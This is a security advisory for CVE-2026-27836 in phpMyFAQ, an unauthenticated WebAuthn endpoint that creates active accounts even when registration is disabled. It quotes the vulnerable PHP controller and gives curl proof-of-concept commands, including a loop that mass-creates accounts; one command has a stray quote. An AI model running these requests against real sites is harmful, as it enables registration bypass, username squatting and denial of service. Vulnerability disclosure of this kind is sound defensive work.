CVE-2026-27836

Description

### Summary The WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled. ### Details **File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79 ```php #[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])] public function prepare(Request $request): JsonResponse { $data = json_decode($request->getContent(), ...); $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS); if (!$this->user->getUserByLogin($username, raiseError: false)) { try { $this->user->createUser($username); $this->user->setStatus(status: 'active'); $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value); $this->user->setUserData([ 'display_name' => $username, 'email' => $username, ]); ``` The endpoint: 1. Accepts any POST request with a JSON `username` field 2. If the username doesn't exist, creates a new **active** user account 3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`) 4. Does NOT check if registration is enabled (`security.enableRegistration`) 5. Does NOT verify CSRF tokens 6. Does NOT require captcha validation 7. Has no rate limiting ### PoC ```bash # Create an account - no auth needed curl -X POST https://TARGET/api/webauthn/prepare \ -H 'Content-Type: application/json' \ -d '{"username":"attacker_account"}' # Mass account creation for i in $(seq 1 1000); do curl -s -X POST https://TARGET/api/webauthn/prepare \ -H 'Content-Type: application/json' \ -d "{\"username\":\"spam_user_$i"}" & done ``` ### Impact - **Registration bypass:** Accounts created even when self-registration is disabled - **Username squatting:** Reserve usernames before legitimate users - **Database exhaustion:** Create millions of fake active accounts (DoS) - **User enumeration:** Different responses for existing vs new usernames - **Security control bypass:** WebAuthn config check is bypassed entirely All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.

How to fix CVE-2026-27836

To remediate CVE-2026-27836, upgrade the affected package to a fixed version below.

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